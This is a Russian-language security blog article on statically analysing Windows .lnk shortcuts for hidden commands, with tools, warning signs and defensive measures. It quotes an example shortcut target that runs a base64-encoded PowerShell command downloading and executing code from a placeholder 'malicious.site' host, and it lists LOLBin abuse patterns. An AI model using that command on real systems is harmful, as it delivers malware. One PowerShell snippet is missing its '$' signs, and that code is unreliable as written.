Что такое .lnk и в чём подвох

Что такое .lnk и в чём подвох

Файл с расширением .lnk — это ярлык Windows. То, что вы кликаете каждый день на рабочем столе. В теории ярлык — это просто указатель: «запусти вот эту программу». На практике внутри него может быть зашита целая цепочка команд, о которых вы даже не подозреваете.

Скрытые команды в .lnk — не теория, а один из самых рабочих векторов атак. Зловреды используют ярлыки для маскировки: вы думаете, что открываете документ или папку, а на самом деле запускаете скрипт, который скачивает и устанавливает малварь. Атака через ярлыки хорошо документирована и активно эксплуатируется в реальных инцидентах. Но такие же уязвимости могут использовать и системные администраторы, и рядовые пользователи — например, если кто-то получил файл по почте или скачал его с сомнительного сайта.

Разобрать .lnk под силу любому, даже если вы не программист. Ниже — реальный порядок действий, который я применяю в работе.

Где вообще смотреть

У ярлыка несколько слоёв, в которых могут прятаться команды:

  • Вкладка «Ярлык» в свойствах файла — самое очевидное место. Поле «Объект» содержит путь к запускаемой программе.
  • Поле «Рабочая папка» — может быть отредактировано незаметно и изменить поведение запуска.
  • Поле «Параметры» / «Аргументы» — именно тут чаще всего прячут скрытые команды.
  • Поле «Описание» — редко, но иногда используется для строк вроде powershell или cmd.
  • Дополнительные структуры внутри бинарного файла — то, что не видно через графический интерфейс, но легко читается специальными инструментами.

Если вы открыли свойства и всё выглядит чисто — это ещё ничего не значит. Основная начинка ярлыка хранится в бинарном виде, и через проводник вы видите только малую его часть.

Быстрая проверка через свойства

Первое, что стоит сделать — посмотреть на ярлык глазами. Это занимает секунды и часто сразу даёт ответ.

  1. Нажмите правой кнопкой по файлу → Свойства.
  2. Перейдите на вкладку «Ярлык».
  3. Посмотрите в поле «Объект» (Target). Там должен быть путь к программе или файлу.
  4. Проверьте, нет ли после пути подозрительных дополнений: например, после кавычек идёт cmd /c, powershell, wscript, mshta или что-то подобное.
  5. Обратите внимание на поле «Рабочая папка» — оно должно соответствовать логичному расположению.
  6. Посмотрите на иконку. Если ярлык выглядит как документ, но ведёт на исполняемый файл — это красный флаг.

Пример подозрительной строки в поле «Объект»:

C:\Windows\System32\cmd.exe /c powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AbQBhAGwAaQBjAGkAbwB1AHMALgBzAGkAdABlAC8AcABhAHkAbABvAGEAZAAnACkA

Это base64-кодированная команда PowerShell, которая скачивает и выполняет файл с указанного адреса. Если вы такое увидели — перед вами зловредный ярлык.

Что внутри: бинарная структура .lnk

Теперь про то, что не видно через GUI. Файл .lnk — это бинарная структура с чёткой разметкой. В ней есть несколько областей, где может быть спрятана полезная нагрузка:

  • Shell Item ID List — идентификатор того, на что ссылается ярлык. Может быть подменён так, чтобы указывать не на то, что вы ожидаете.
  • File Location Flags — флаги, которые управляют тем, как Windows интерпретирует путь.
  • Extra Data Blocks — дополнительные блоки данных. Именно здесь часто прячут скрытые команды или метаданные.
  • Tracker Data Block — содержит информацию о том, на каком компьютере был создан ярлык. Полезно при расследовании инцидентов.

Чтобы увидеть всё это, нужны инструменты. Обычный текстовый редактор тут не поможет — файл выглядит как мусор.

Инструменты для анализа

Я обычно использую несколько подходов в зависимости от того, насколько глубоко нужно копнуть.

LeCmd — быстрый первичный анализ

Если нужно быстро понять, что за ярлык, не устанавливая ничего лишнего — используйте LeCmd (LNK Explorer Command). Это консольная утилита, которая разбирает структуру .lnk и выдаёт читаемый отчёт.

Пример запуска:

LeCmd.exe -f suspicious.lnk

Утилита покажет:

  • целевой путь (Target ID List),
  • флаги атрибутов,
  • рабочую папку,
  • аргументы командной строки,
  • содержимое дополнительных блоков данных,
  • информацию о хост-машине (если она записана в Tracker Data Block).

Это первое, что я запускаю при анализе. Часто уже здесь видно, что ярлык ведёт не туда, куда должен.

LIEF — для глубокого разбора

LIEF — библиотека для анализа бинарных файлов, в том числе .lnk. Если нужно автоматизировать проверку или встроить анализ в пайплайн — это лучший выбор.

Пример на Python:

import lief

lnk = lief.parse("suspicious.lnk")
print(lnk)
print(lnk.arguments)
print(lnk.target)
print(lnk.working_dir)
print(lnk.description)

LIEF позволяет вытащить все структуры, включая дополнительные блоки данных, и при этом не требует ручного парсинга байтов.

010 Editor с шаблоном LNK

Если вам нужно покопаться в байтах вручную — 010 Editor с шаблоном для .lnk будет самым мощным инструментом. Вы увидите каждый флаг, каждый блок, каждую структуру. Это уже уровень цифровой криминалистики, но иногда без этого не обойтись.

Встроенные средства Windows

Если под рукой вообще ничего нет, можно использовать PowerShell:

$shell = New-Object -ComObject WScript.Shell
shortcut =shell.CreateShortcut("C:\path\to\suspicious.lnk")
$shortcut.TargetPath
$shortcut.Arguments
$shortcut.WorkingDirectory
$shortcut.Description

Это не покажет бинарные блоки, но даст основные поля. Иногда этого достаточно для первичной оценки.

На что конкретно смотреть: признаки скрытых команд

За время работы я выделил несколько паттернов, которые сразу должны настораживать:

  • Двойное расширение. Файл называется Document.pdf.lnk или Photo.jpg.lnk. Если в системе скрыты расширения (а по умолчанию они скрыты), пользователь видит только Document.pdf или Photo.jpg.
  • Несоответствие иконки и цели. Иконка документа, а ведёт на cmd.exe, powershell.exe, wscript.exe, mshta.exe.
  • Аргументы с кодированием. В поле аргументов есть -enc, -EncodedCommand, /c, /k — это признаки того, что команда передаётся в закодированном виде.
  • Ссылки на внешние ресурсы. В аргументах есть URL, особенно с нестандартными портами или подозрительными доменами.
  • Пути к временным директориям. Цель или рабочая папка указывает на %TEMP%, AppData\Local\Temp, C:\Users\Default — типичное поведение малвари.
  • Подозрительные комбинации. rundll32.exe с нестандартными параметрами, regsvr32.exe с URL, certutil с флагами загрузки — всё это легитимные инструменты Windows, которые злоумышленники используют для выполнения кода (так называемые LOLBins — Living Off the Land Binaries).

Если вы видите хотя бы один из этих признаков — файл нужно проверять детальнее.

Типичные сценарии атак через .lnk

Чтобы понимание было конкретнее, вот реальные варианты, которые я встречал в практике:

  • Ярлык в архиве с документом. Вам присылают ZIP-архив с «договором». Внутри — .lnk файл с иконкой PDF. При клике запускается PowerShell, который скачивает и устанавливает бэкдор.
  • Ярлык на USB-накопителе. Классическая атака: вставили флешку в компьютер — среди файлов лежит ярлык, замаскированный под папку. Клик — и малварь установлена.
  • Подмена ярлыка на рабочем столе. Зловред заменяет легитимный ярлык на свой, сохраняя оригинальную иконку. Пользователь кликает как обычно, но вместо запуска браузера выполняется вредоносный код.
  • Ярлык с VBScript или JScript в аргументах. В поле аргументов прописан вызов wscript.exe или cscript.exe с путём к скрипту, который может быть как на диске, так и загружаться по сети.

Во всех этих случаях анализ .lnk файла — ключ к пониманию того, что именно произошло и как злоумышленник действовал.

Сравнение подходов к анализу

В зависимости от вашей ситуации и доступных ресурсов, выбирается подход:

Подход Что показывает Сложность Когда использовать
Свойства через GUI Основные поля: цель, аргументы, рабочая папка Минимальная Быстрая первичная оценка
PowerShell + WScript.Shell Те же поля, но через скрипт Низкая Если нужно проверить несколько файлов
LeCmd Полная структура, включая бинарные блоки Низкая Первичный детальный анализ
LIEF (Python) Полная структура, возможность автоматизации Средняя Массовая проверка, интеграция в пайплайн
010 Editor + шаблон Полный байтовый разбор Высокая Цифровая криминалистика, глубокий анализ

Частые ошибки при анализе

Вот на что я регулярно натыкаюсь, когда люди пытаются разобраться с .lnk самостоятельно:

  • Ограничиваются просмотром свойств через GUI. Это показывает только то, что видно. Бинарные блоки остаются за кадром, а именно там часто прячется самое интересное.
  • Не проверяют аргументы командной строки. Поле «Объект» может выглядеть чисто, но в аргументах спрятана закодированная команда PowerShell.
  • Слепо доверяют иконке. Иконка в .lnk — это просто ссылка на ресурс. Её можно установить любую, независимо от того, куда ведёт ярлык.
  • Не смотрят на контекст. Один и тот же ярлык может быть легитимным в одном контексте и зловредным в другом. Важно понимать, откуда файл пришёл и где был найден.
  • Удаляют файл до анализа. Если нашли подозрительный ярлык — сначала сохраните копию для исследования, потом уже принимайте решения.
  • Запускают ярлык, чтобы «посмотреть, что будет». Никогда так не делайте. Используйте только статический анализ.

Что делать в зависимости от ситуации

Если вы нашли подозрительный ярлык на своём компьютере

  1. Не запускайте его.
  2. Скопируйте файл в изолированную директорию или на отдельный носитель.
  3. Проанализируйте любым из описанных выше инструментов.
  4. Если обнаружены признаки малвари — запустите полную проверку системы антивирусом.
  5. Удалите файл после завершения анализа.

Если вы получили .lnk файл извне (почта, мессенджер, скачали)

  1. Не открывайте файл.
  2. Проверьте его статически через LeCmd или PowerShell.
  3. Если есть сомнения — загрузите в VirusTotal (он умеет анализировать .lnk).
  4. Если файл зловредный — удалите и сообщителю, что его аккаунт мог быть скомпрометирован.

Если вы расследуете инцидент

  1. Сохраните оригинальный файл с метаданными (дата создания, модификации).
  2. Проведите полный бинарный анализ.
  3. Зафиксируйте все найденные аргументы, пути, ссылки.
  4. Проверьте, не были ли созданы другие ярлыки в системе (массовое распространение).
  5. Задокументируйте находки для отчёта.

Как лучше сделать: практические рекомендации

Если вы хотите минимизировать риски, вот что я советую внедрить:

  • Включите отображение расширений файлов в Windows. Это простейшая мера, которая сразу показывает, что перед вами .lnk, а не документ.
  • Настройте фильтрацию .lnk в почтовом шлюзе. Большинство современных почтовых систем позволяют блокировать или помещать в карантин письма с ярлыками.
  • Ограничьте выполнение PowerShell и cmd для рядовых пользователей. Групповые политики позволяют настроить ограничения на запуск скриптов.
  • Используйте AppLocker или WDAC. Эти механизмы позволяют контролировать, какие исполняемые файлы могут запускаться в системе.
  • Обучайте пользователей. Большинство атак через .lnk успешны только потому, что человек кликает, не задумываясь. Базовая осведомлённость снижает риски многократно.

Итог

Анализ .lnk файла — это не что-то экзотическое, а рутинная задача, которая сводится к проверке нескольких вещей: куда ведёт ярлык, какие аргументы передаёт, нет ли внутри бинарных блоков с закодированными командами.

Начните с простого — откройте свойства, посмотрите поле «Объект» и «Аргументы». Если что-то выглядит странно — используйте LeCmd или PowerShell для детального разбора. Не запускайте подозрительный файл, не доверяйте иконке, всегда проверяйте контекст.

Если вы системный администратор или специалист по безопасности — добавьте проверку .lnk в стандартный процесс анализа подозрительных файлов. Это не требует много времени, но может вскрыть реальную атаку на ранней стадии.

Оцените статью
PEFile — Безопасность и технологии простым языком